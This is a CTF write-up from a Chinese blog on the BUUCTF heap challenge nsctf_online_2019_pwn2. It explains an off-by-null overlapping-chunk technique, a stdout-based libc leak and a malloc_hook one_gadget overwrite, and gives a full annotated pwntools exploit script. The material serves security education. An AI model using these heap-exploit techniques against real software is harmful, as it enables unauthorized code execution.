(BUUCTF)nsctf_online_2019_pwn2(详细注释exp)

本文描述了一种内存安全漏洞利用方法,利用off-by-null技术构造三明治结构,通过fastbinattack泄露libc地址,并利用重叠指针攻击malloc_hook。作者提供了详细的步骤和代码示例来演示这个过程。
摘要由CSDN通过智能技术生成

前置知识

  • off-by-null,制作三明治结构,即通过大-小-大,然后off-by-null小同时改prev_size来使得三个合并,最终获得小的重叠指针
  • IO_FILE leak
  • fastbin attck
  • 通过realloc_hook调整栈帧打malloc_hookone_gadget

整体思路(详细注释在exp)

分析整个程序,只有一个off-by-null,而且malloc申请之后会将申请到的chunk进行清零,没有leak

首先,可以off-by-null构造三明治来获得一个重叠指针。由于malloc后会清零,因此不能简单拿下

那么紧接着还原,再次off-by-null构造三明治,在三个合并到一起为unsortedbin中时,可以通过重叠指针来释放小,此时小会被添加到fastbin

那么可以申请回三明治中的第一个大,从而使得fastbin中含有main_arena+88

但是此时fastbin chunkheader将会被损坏,因此利用一个小trick将其还原

然后就可以通过partial write来改fastbin的最低两位字节为_IO_2_1_stdout_,这里需要爆破1 bit

如此一来可以打fastbin attack泄露libc。接下来就是继续使用重叠指针来打malloc_hook的常规步骤了。

exp

from pwn import *
from LibcSearcher import *

filename = './nsctf_online_2019_pwn1'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = ELF('/glibc/2.23-0ubuntu11_amd64/libc.so.6')
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]


def debug():
    for an_log in all_logs:
        success(an_log)
    pid = util.proc.pidof(sh)[0]
    gdb.attach(pid)
    pause()

choice_words = '5.exit'

menu_add = 1
add_index_words = ''
add_size_words = 'Input the size:'
add_content_words = 'Input the content:'

menu_del = 2
del_index_words = 'Input the index:'

menu_show = 3
show_index_words = 'Idx: '

menu_edit = 4
edit_index_words = 'Input the index:'
edit_size_words = 'Input size:'
edit_content_words = 'Input new content:'

def add(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_add))
    if add_index_words:
        sh.sendlineafter(add_index_words, str(index))
    if add_size_words:
        sh.sendlineafter(add_size_words, str(size))
    if add_content_words:
        sh.sendafter(add_content_words, content)

def delete(index=-1):
    sh.sendlineafter(choice_words, str(menu_del))
    if del_index_words:
        sh.sendlineafter(del_index_words, str(index))

def show(index=-1):
    sh.sendlineafter(choice_words, str(menu_show))
    if show_index_words:
        sh.sendlineafter(show_index_words, str(index))

def edit(index=-1, size=-1, content=''):
    sh.sendlineafter(choice_words, str(menu_edit))
    if edit_index_words:
        sh.sendlineafter(edit_index_words, str(index))
    if edit_size_words:
        sh.sendlineafter(edit_size_words, str(size))
    if edit_content_words:
        sh.sendafter(edit_content_words, content)

def leak_info(name, addr):
    output_log = '{} => {}'.format(name, hex(addr))
    all_logs.append(output_log)
    success(output_log)


def exp(sh):
    # 第一步:通过off-by-null构造三明治结构
    add(size=0xf0, content='1') # 0
    add(size=0x68, content='1') # 1
    add(size=0xf0, content='1') # 2
    add(size=0x10, content='No') # 3 防止和top chunk合并

    delete(index=0)
    edit(index=1, content=b'a'*0x60 + p64(0x170)) # 构造off-by-null,以及chunk2的prev_size
    delete(index=2) # 由于off-by-null,chunk2将发生前向合并,而prev_size为chunk0+chunk1,都合并

    # 获得重叠指针
    add(size=0xf0, content='1') # 0
    add(size=0x68, content='2') # 2,和1重叠
    add(size=0xf0, content='2') # 4

    # 第二步:由于有memset将malloc的数据清零,再次off by null构造三明治
    # 从而可以在保留重叠指针的情况下,让三个再次合并为一个unsorted bin chunk
    delete(index=0)
    edit(index=1, content=b'a'*0x60 + p64(0x170))
    delete(index=4)

    # 第三步:将main_arena+88写到三明治中间的那个fastbin chunk中去
    # 我们这一步的原因是,由于main_arena+88与&_IO_2_1_stdout_很近,我们利用partial overwrite来控制fast chunk的低字节,从而利用fastbin attack控制_IO_2_1_stdout
    delete(index=1) 
    add(size=0xf0, content='1') # 0
    # 然而,如此做会让fast chunk的header损坏,还需要复原
    delete(index=0)
    # 这里由于memset只会清零申请的大小的字节数,我们只覆盖掉fd的最后两个字节,比较巧妙难以想到
    # 覆盖为_IO_2_1_stdout_前面的fake fast chunk
    add(size=0x102, content=b'a'*0xf0 + p64(0) + p64(0x71) + p16(0x25dd)) # 0, 注意需要爆破1bit
    delete(index=0) # 还原一下unsortedbin

    # 到这里,我们已经将fast chunk的fd指向了_IO_2_1_stdout前面的fake_chunk

    # 第四步:利用重叠指针实现fastbin attack来打_IO_2_1_stdout_泄露libc
    add(size=0x68, content='111') # 0,和2重叠
    # 这里不能直接add0x68,因为会损坏_IO_2_1_stdout,找一个能够改到write_base的最小值
    payload= b'a'*0x33 + p64(0xfbad1887) + p64(0)*3 + p8(0)
    add(size=0x59, content=payload)
    sh.recv(0x48)
    # 从而泄露出libc
    leak_addr = u64(sh.recv(8))
    leak_info('leak_addr', leak_addr)
    libc.address = leak_addr - 0x3c56a4
    leak_info('libc.address', libc.address)

    # 第五步:接下来就是传统的重叠指针来实现fastbin attack了,这里free_hook打不通只能打malloc_hook
    delete(index=2)
    realloc_hook = libc.address + 0x3c4aed
    payload = p64(realloc_hook)
    edit(index=0, content=payload)
    add(size=0x68, content='111')

    payload = 0xb*b'a' + p64(libc.address + one_gadget[1]) + p64(libc.sym['realloc'] + 12)
    add(size=0x68, content=payload)

    sh.sendlineafter('5.exit', '1')
    sh.sendlineafter('Input the size:', str(0x30))
    sh.interactive()
# debug()

if __name__ == '__main__':
    while True:
        if local:
            sh = process(filename)
        else:
            sh = remote('node4.buuoj.cn', 28859)
        try:
            exp(sh)
        except:
            sh.close()
            continue
    
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值